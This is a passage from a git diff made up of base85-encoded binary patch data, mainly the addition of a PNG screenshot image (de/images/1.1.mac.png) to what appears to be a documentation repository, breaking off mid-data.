zrnu=zN>uPjx;#9M{L|=3h~C8JXsq6~&7I(hD2O|ik_{Uz9V5NA}QXE-YnHmc0V zrqxW9cz;X_OzQYqYVZjSqQC7f;TWUov9`Go&m&-J1XGwhI1neL)Q_})op zt=OfTnFnH;a&L>&53Es76sH(!($sI_OOhbx#wSjF+R?|NQkt>9m9Y91{dRKl9TABJwSXAhlpPzQA z!G|3(PSRM7E#7}o6{kc`XB$9!a7#dr1GtP*&C!`z?L}@zns%E$!`#95cnQsK_r)z9 z%0nj@kst6Dl>_rThN>+tAig^ZtG%KpS?&X)3g=_{zV5!@i|%d>VwxK%u{xy+r87Z; zpYFf#g>9?<($;GI5O|5+OWbobwf|>wWi4EP1ixu7ZaN?p*-#-rbW|j|fB&t^!m`0g zfR^Dn*~YB%cyc9UjD9X^&JMUb+3Ompcb#o~>}k#pP7ypKXbbYwbGXOZoOOGy@CCRa z{sOsaUq3~dZsx-215M6h&)46W86&4E0$5VD>4iHK2f#*Hu;F)ynA5{|%2VmL)`Ry8 zwR7(Bg*i`hQAAGtXFUk>yN{~Hn?Bp01KZ?cd@pu-Hna-xn1^Kv$x?Ad@rq8WN-+Dm z)}9zZTqfhmg6zMF#r`T4?Z4hBAdFn20JIbSYv}#U|M5>?{w3y`!u@d4QHIQxX7&%9 z3Fuzg*rThb%oKp_dz+S$I+^5ftJdS|l}t(?lhY?1n5=}|!(~1l`AIScrR=NE!@8)aoINcJ9xe@{JpL0@WP7 zbpq=h{o{?nUC^i$U5y!0JvNH^OgX)QQtK;FZl(1aAnz-EmwFcE1dr0hNp9>gLgpJq zrzg9gUVh~fEUHxwZ)@A-r;^G6To?-(0byqaAhK*HiVhq(mjTwTbt^*@+LQ~wT*px) zNKe1-8$tomZfbqn`_gGeqvg;LuoZ^FiKk1u^Woe%bO4}VE=Kl$4B-F$F8)hO*qBot zKg)0@3fIqzHo>1Fye629(p_X8)egr72C8inwbpw+n`8`*+RWWRpC*`>hF^#9M@Fu! z6&w#AGz#b*JPuQ7kgys9eGYFAg8y3DM{cUN*A%QK=@vInkfK5`tjWfP$7?-l%t`H% zrS{P?a9r+VYnj+vRWnuGNw<%f-_{#2ow$K*`ipt3ypE&SnUx9{eae@S;**gMLrdD$n-BQnzw|z5T2YyPC+%J`rN-OaM?Mj%s z3G6(VBxSGjaO|3eQ%8yaBE{W>Zof++uOx2UD(JNcOs6;6r~NKViNWofFug|OKf<`w z204bFLBw3g;;luHxXE|H7vC_zNEJ>^H0aiE>kAh>_atkhJ)B1D7Z&3;BF3D=mJG1a z^e*W=+*>Y1-KR7WSw@1Pxe;0mGfjg^3B5A(5%L+cp%(PpdSrLm+v3ZI8(^*Bltrv| zBU?`=T(d!gy_wiExscCAUczY_*c*jyFSpRnBKw<1X@jC5cY;fb?V&^In<|c>l>T`x z3Lu>f-m)nNgC4k~^q(xKh(+5k&=jg6i~I_u&osk>Tq)aJUb*P$U$3?p-8&>ct+5?Z z?mwF^lVXa>(HT;mvvxv`^eBuKQOfrcAbK5x&M&4?LnYU!+lr2qp-%0R+7*2mSS}#@ zPW(>Dn3xRSTWs?|D?j2jUlh!uq!D9rdw4W8nN`xkpr3yfA8A4&Q7z^~dvawJkvo@x zi>|NM8B9CdY(7!l9a?A=;EF-Q2ti?RSx$IF!C&P0cZaC|5wK$!(u5B2()8%iVjL_+_(kgidUKuGo;- zE{RY?vslm^UUFhHQ#iE~5ca~u!`j*q!_$GHHto+eHt##=%M*n7{d-lXc7&pNl=@xv zLw5p3Zj~odg!O14=ANduc}TyjdRk(4tcMs5?g}~K_o5QAe=coMXc{4uw&}ET@wV;A z1Ljo^*VJF9?S5593OQAMrd%vZ!>V>pOb9v_miMJ`y(y#TVMY5tqLP_khqHPvD?`zS z$O$!-GIG#TqwN9)i)s+~y?J;Wo9N4Br{BI?ki4$eJrUg|vR<=U{aW8xXEBKezr8fR zx4`UD%ZuS36@V0_ga`_9IpAk^GMnxSZ>UHJ2|}~IFTQeeY-$`}efr_XrDQr=worc- z5_1{lZR}!wY60Qj`|z z^oi|gdY)iiITy&nFAqHHWg$aQfb5P=zj~~rZF^WlXxrOg&q@d})oMg*Mm}t)w)5eV zVhFK4V8-VAy}US|2Jh7jdKEGULET4|5|b3_4|hoUTV0Yy=DyS&2=+xO)I) z-8<&H#W7p zomL^|01Qd|6NamHgyvyNhg{VtkNHh5!!3gd*5mG#o>1}Fx+^wJQdyssIu-3j?`Vxm zB}H1P)}I1FC2lPK)`F`P(gexO5$I-8+61IO-~Pd%o9#MBX0SZodq90=Yi64;2IWKK z3jI!fa&Wu<2*x@R68e!b@kdL59uwl3wQe2yq_}F)2b#7Qo&Ub*K4Kgq9IdjenSe1V znkgmTvph7Ui3pjp>&svScL+V^a!>K4+0V39n_sPE*k5Zq_|W9kvp0UJqQdA56F$p? z`i~OONq+mi$ges9TM$a@(T0`KVxNrl?u5)2$FG)a1(D%GX)dB-7mQfI#9xXOOc_5e zP=uXZhOc<~S^xFi=t>r3wS=&w`4nkwwIcJN!_?xSwIuYcUqSpJdEIWj0?eq}?E~#* zbJLe+!pQutP@>y^AqbTZ(I3%Rfd$3)9yQNC&=4fQRvo|ft8p7U&s=2t+L5B<{#Rvg zz*cvdnlQxa@X&4P*q+yciXa=eQj5gcJJMc!>*VPDdWq5&aw%6;A}~OVQyi#xW2$!8 zvf@l!WDmz9KrirmVcQQ)@RR9m+rDkFh3`>k`rm|;)+jPSA6ZnU5&HowvAwirAMG70YT)_ko!{ zq2_Yv9i`6e+H$>%Z8{Yrneg--Tu1S~k+}qvVxPkDPi`S7TMif3Kh?LA&&?+8-pQe! zg4DAfbiLH0BG^v2UU05S;@q{0W3Y~B(x76mEwX4*?|gZERu$w@F1lVQc8MUL%QF}a z{=C(@x$T#7obrNEbEK~w!U(RB_X^bMkAd{X5}w6t{>k81FCcz+dVG|~zWI=Whoe)H z^-qD6CT;t)J#8_Gs|L{r>g7vEd_U6o$rz}k&U4c)UO1ivb z_=fyqjN*aJRK z_i=kc)3x-;@%<5Vk**!;x>U}vrrYT=m@U3?mlnDu8=oPsWo4V}PeObXQW^GLW4#{` zJ-Fro1GvEFR>v6QLGd{%>G_}h*E#~dzr>>g^|;S#v$$6W>OZp~ia`&aVEAW{*3Xmz znlST+pHRo`kZ&TtWW0#NL8IekkA3 zL2OgqI~q}PkDk7{ITeJ&K5Wjt)X{Pom>m64wZny&OCcZq9s1aj6qW?tM95&50utGF z`Wo`uoAVu^ZZguStBSgP1Ll{WErQa_(^#!acJ83czNBygomWT%RN~hQGA+eL0&Y!> zZlTrAzG{|4$C9}nO6l0bFq<=Yh(Hg9d&1zVB-@Lf1A(IDw^fTXSz<*At45ufaYPCWwM17ee&rS@4}t ze5Nh4rtNt~j9zl}S;kHcX5|+NYYrx;2q0Uc1Wl4OqrAXXyjqvXp!SNXemM8#UFM}> z#FVLLiwU?@=Dgp{ph?brhD?h^H5EMCbP`+ z(r2+Zr(+|9*tBzXt5^G9B5}Q0mEmiD6Ohl@u%(lt+8g4WfnLOY+osNb&b9q3<*<2-LHo#jc@*p;Lb@({PE3Fhq^W zB7e_Eu!01#4b9yXf%5)YkxonM_I|^5?{YF7@aS*;DnwA`PV1e#0bH^gON>ovR9Bd+ zi@3qs=}FQ;oFX=tZ}PO1-0&_g*ds2;L>?XN6cnK~VYqn+T8G6rRNlZ+>`)|oGfqWx zRemLQ!1UWH^;oO6hXmGS6YTvPw&4U4Mc?#*4=x3!7VGOqE>O*?TIoue96Nwrn7YH- zJYJ>T-@Mvi;i-%?BBnXH#38-~Z>sDQ3XgPAF3$a~UqD3MQi!KWkNDgnI)-`k($%R* zjn#=N-Nf8*{!cnp4@k+UcjkqPGm(0{$(OR9z*Vc5uuUE6gij60rjR$ z2t+KziP6YddiZsBT4`6-e3wlVj93s}++cVJHK&7K*EWgo3T)d}$y`Az&5=>&#`&bl3Msd%bV zG*fGgEQwKdUUSK#SJvxps)%yBI~1M98bdyGl_HE}+EMxGb*(Z}tK)%AlL;3+mqN3q z_?0hKU>9o&M6u^blQRj8jvY%0NAHh@ygs=$Xoq+0A}s?svX(=(Wx6@rvZ$i(HZ4 zGpcq_gQgF|Z;bR&2xCO@BJifp2kTzw!22Wd9Xwo!_>QhdIKbSs!62J>_qFq*TC$rL z{|+9?OtB~hi2!P4NjDbN)?damk`TVPoA7Cqr08`js?SZ4h;kA>sifXzRXzk!;Fw>2 z3}Q2TgTrG+$2mY<^pDyp30XdDQ*Sj=;4mBp(zmF|u)4_;KH)9c!K=DMQ&qfq_9-gx zqd70thUkzP#K{rIXG+spwAs=6jr$#Tc%ma^@rxB%Bdg@pbNZ^HO)J=6G`poHV-~iI zd^yp+IqC~EUOWw3Bj186w<}B+kDMc)l4lH-kMce%wrBgLhqMhkq=*!ARj+h1Ri6ue zIZ6>3)q!vG3mJaNHl>((+Cm-qg9Ktt#J6Tf3I`$yj}ie0J_k1kzS z4=&57=VeHI2*jZfKQ=Z$Y#>sF5RuFd&7LM{I6u*@>8~Cr&za}zb(N~T2Om&QrVn-i zp~oO*SpBt;+R_T<%kO{P2O++4=n8NK0kI7?5~R~=?22u0?(3 z^~H_aX@z@lMBbQ>i+%f57?Ay6;=_q3$ch|a}q3Slcz;?YpeBH+l8fjs)|km&R#Tcl`|3#YrFpN z;Pqoo?y2qNZ+-=|2i~RGEut)~`cZ);N~mM2-|c59G8BXY94aHqlUyf#!SL(#x-o7q zMHmWpJ2!L*7aj)FVis}OadNE5n%V>_UNteCooWd>XkzVCR{opqZUoq+%_M4oA{-xI zs)En(P$+9V{8~%Nt+zS9_wiwq`=czu{b1hn|vCG4bc7PBBHuJwP- zI_DEqo5W0QTgJDZvqm3e6(R3rYjycd;{93*I3rg_qB@G+x{kl3xO{wi%m$y(8=Mlv zisy??r!0wSvN!A{I%nHq$zZ-GIGTF<`ek+_D@8b)K#xIwhF=FJ^EtMlSs{jh%1rPa zm6M#9UYpf(Hok8bKd*nK=eQl0&)UoyQRcJ9btG?v&^S14eiF0cB}n3bmUY8IN=@7k z#tPyvo62K}+q)m`1Q){InOc?4iE~i1sVT~> zpG%Iu#;jzWgycIh3bW>gCO29XlwKK%cALnBygoAT<%lQ?ie)i6qc^U{f|yocnEq-l z*~D4tJJ$JO>y}5|#?OLhw$RL?=gaCWqDpmpKi7m&-pG+YWU?*`)rC?WEAE0Df!M;h zG-%A@(+$rLDw8}MeL;Q#c2e(B4NdBDalQrn2Pb)MhRy^n5?4|W#rMdc>VqF8${lfjc(UeRgvxk3e2b#1?rfI46|iM%tr8oyOyQ^^26SjsTs6)U+Zd0^Q{?-3 zDB(LuCL;2Tg{d@^HkA#SH2BUI1^}FY{OaoehZa_;rJ6CpDBtlU5aV-_T#nicKsk-I zD`heIemp$tzYfSj>zxAC`93V;8yhn|#r_=OGIS9~Y1j*QrF*R)2O+iH z+uc!Bz7E7|PI=m~8~aPexd;1H(;aS_wEBvv%a*F<@ixe!a6c^guI)wJ_kWR$j&2+A z)szX)Lf7mb(=J0%RPE{SGze_p-`jywFx-nlQ~nYxv<;m{D{sC?9eL5!`GAt`Q^>;y zy86XrUMCtaG+-oafm@LNBQhEsX9oJrn*PY}a7X7egkfdN=s_|MK; zVO>pm6ZKD42u1bXzdhxD^b$9$@;ewQ0pI-p+y3IeYfqF|wFrdYyDu3&ZsH=&jb^Dq zM(EU0wQbrQJp#0MEU!VuXnf78<1){ppToFw#fgMgqA+eg5Vx{^YIn>to$DmqjbS&f z`Xs=;Ku0qE+zdh#wyWsY{Fh`*YtICvr&iPKgPcM*^&e(1j!DP2yCvC|43;wb>JNf^ zNJ~8W@+7D4tbW99z9%L0vABX$1nf!CS!%yJGQKQVSOe(7ktnUA#+TT1>s1aIl^&S? ziq;^w+zpaDTGJLn2#uk=|qfB2kk@oD_G*t$$w3=eBK=}@J@}% zwKECI%OW|kpp;vbZmE_jLB{A{&HQ?&pWyU%hidhaTj$oOv-X7ESBjUu>YR$WZd1b# zYch=~r2Fqw&iJ|96FRRLNnobmduP@v@S^i28$JWfC5bs(z}?c^k8?74vpQ*#jW{%^ zyS43A7Cci;q<+AuJp5xKM7NJx-y4zmS2qqi;xs>rGTCs$ zt*4k=Kb|WiEE7;M9hQrbvpYKx7V4Ens!`OkOP=Jq6vgz zX!L)!9e5)`Vtd$F$N|4b1o;ynay|ZZW9MrLIiP$$FAh6+LD+NN5vbnxLwke8VR!{02vg!jXLnO`!(Ue^_;O@8-*K$%#qDf=ay2xN z)lzWpwtz-YL@ZpyiIgrfChsuh7KgMWFZw)qprz=-Qp(l1SiwIgeBl~t(t%nzRuM+& zysNT=$Q4S{d6sq<_QlwO{3RZKTRiq0r}I)prl6<~XKuvqQpW?x)Mu zFn5GK*HpK&51nv#3XgecSVF{@-=}x@F+_!&R@02vofoMe`7xX+V_nAaxS}9Z1DcU) zqdngJ!=u+Xr`~&wzoMzNA+hf_-IBE=tx=$zz7|V>4(U9*R{wC$TOVoS_JH4dsvMgEKB>K(!K~#!wbC3`!oK2DR zZNYwZ*I%$x9&bK8oX%HgEMzOzn>o-JY!kbBf7k#!C&>F0fk_U~6tb{YBRSa(mOD%o zCK+pfIW3`()1W1<2DggDRvE5cz^W@WH~pf{?F&>i_trz3TxhK!x)xPCyEx+Rw9&mb z#ME|>oi1rgr%9aP3@<4PW!F?2x7I|rlQk*gsoz<=RO7a1A5T_u`#R6{{vp&sb;djI zFGy?2X?#nVrT9-};lVa+5BE=Uw1dV(a!H_b4)0uOPm}_&;N7UY6+ZpbQy|6O|I)$T z(u(*gwcY`yt0YOMY!VMA3m|d3NVEdC(uIJ!6=fSt+*x0mpdZ(@etr#b!k>`1sE*(E zG5wTFkxaQ;P$Yf`-3>rq3!dC2qsMVRWZe@f9q;SXn4Imc6DijxRtBl9Kcg=epuSmK z8K^hGwA>+{EFC^LK?o4c4Lz}A-T9Dv)w1cR?JxLGq@8fnqD9{bs5@>a^fzqArz1f< zSgRlWO`rRq1XURw%rioq-n4)Q4`$rDO;VC`;Zuq)z7%ziSoqtlAg}+lnQ;htqB~)# z2r}&6)`#Z*2^BA)?vxA0vF1tv-9c@=XWPL+vIwd9fH9dk0Ocm1(C&u&O{DuaT`CO|WtR5-V z2TzRW#0OxT%Fx=i*;`=q#S0;KV>z3yw}qMKms`fHz^NbDQEJTcABpJ}gfLUhF;zA_Mg zPgS~6C(Sg-_vQsZAJF!18m`WT2Zw$fq%M>;Nmmx8{YLw!hQj9I71I39r>oCfE>uhP zbVQOQ-o5(Nxo2a_iGQn;f02Z zJ!e0gnm4-kmu~Zx!eK=rbiO~|wdbz=#+{n>*WI4eTix{}nInq*x5l45{H!Zv>}_H= zu~!)?gkco~heFPTI*h4yP#lrL84(EdDoArR!9?}+aLGvoxx4ueeRJDOV*l?3Bu+Cw zPztX&jWi$$ly6!mXdzv%7K3cK+slD9;YL|6$Zpp~uT5{LyP+?PqdI(Mccd*U6?{)5 zdIiHMo=o6wc#aiX_wEN*W6*uJE zot(GkRzs_6nkc20ZGLIuEJYa5D4pORCLwJih?pZUICxOa_1NHh3#~jdVE+cUb#kYo z>|Ewd7%3BE&IU;jPyqwN&sZ8d=RC9Bd;2Z{hL`0?ww>~SQ<|L9zdsFnVo>Tun#~0O O4b`WQEB~^6^*;dF1wG;b literal 0 HcmV?d00001 diff --git a/de/images/1.1.mac.png b/de/images/1.1.mac.png new file mode 100644 index 0000000000000000000000000000000000000000..ad2ceed6f125043d345e8cf7b384d861f18b6075 GIT binary patch literal 86406 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 